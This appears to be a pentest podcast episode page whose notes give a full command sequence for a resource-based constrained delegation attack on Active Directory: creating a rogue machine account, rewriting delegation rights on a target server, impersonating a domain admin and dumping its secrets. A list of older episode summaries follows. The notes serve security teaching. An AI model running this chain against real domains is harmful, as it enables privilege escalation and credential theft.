7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Avsnitt(682)

7MS #42: Vulnerability Scans vs. Pentests (audio)

7MS #42: Vulnerability Scans vs. Pentests (audio)

I think everybody throws around the terms “vulnerability scans” and “pentests” and they mean completely different things from one person to the next. In this episode I try to clarify the differences and distinctions (in my mind, anyways). 7MS #42: Vulnerability Scans vs. Pentests (audio)

14 Feb 20157min

7MS #41: OSCP – Part 7 (audio)

7MS #41: OSCP – Part 7 (audio)

Tried of talking about OSCP yet? Me neither! 7MS #41: OSCP – Part 7 (audio)

6 Feb 20156min

7MS #40: OSCP – Part 6 (audio)

7MS #40: OSCP – Part 6 (audio)

PART SIX of a mind-bending series all about OSCP! 7MS #40: OSCP – Part 6 (audio)

31 Jan 20157min

7MS #39: Infosec on the Disney Boat (audio)

7MS #39: Infosec on the Disney Boat (audio)

I took a Disney cruise with my family recently, and one particular aspect of the trip gave me the Big Brother heebie-jeebies. 7MS #39: Infosec on the Disney Boat (audio)

24 Jan 20158min

7MS #38: OFFTOPIC – Health and Infosec (audio)

7MS #38: OFFTOPIC – Health and Infosec (audio)

Every once in a while I thought it would be fun to go slightly off topic and talk about other stuff I’m interested in. This episode kind of has a tech twist though. I talk about how I use my iPhone and a few apps to stay at least a little bit in shape. 7MS…

17 Jan 20157min

7MS #37: Keimpx (audio)

7MS #37: Keimpx (audio)

Ever wanted to pass hashes a whole network at a time? Check out this episode, where I talk about one of my fav new tools called Keipmx. 7MS #37: Keimpx (audio)

10 Jan 20157min

7MS #36: OSCP – Part 5 (audio)

7MS #36: OSCP – Part 5 (audio)

More talk about OSCP goodness. Download: 7MS #36: OSCP – Part 5 (audio)

3 Jan 20157min

7MS #35: OSCP – Part 4 (audio)

7MS #35: OSCP – Part 4 (audio)

This is the 4th thrilling installment in our exciting series about the awesome, challenging, rage-inducing, but ultimately rewarding training and certification called OSCP. Download: 7MS #35: OSCP – Part 4 (audio)

27 Dec 20146min

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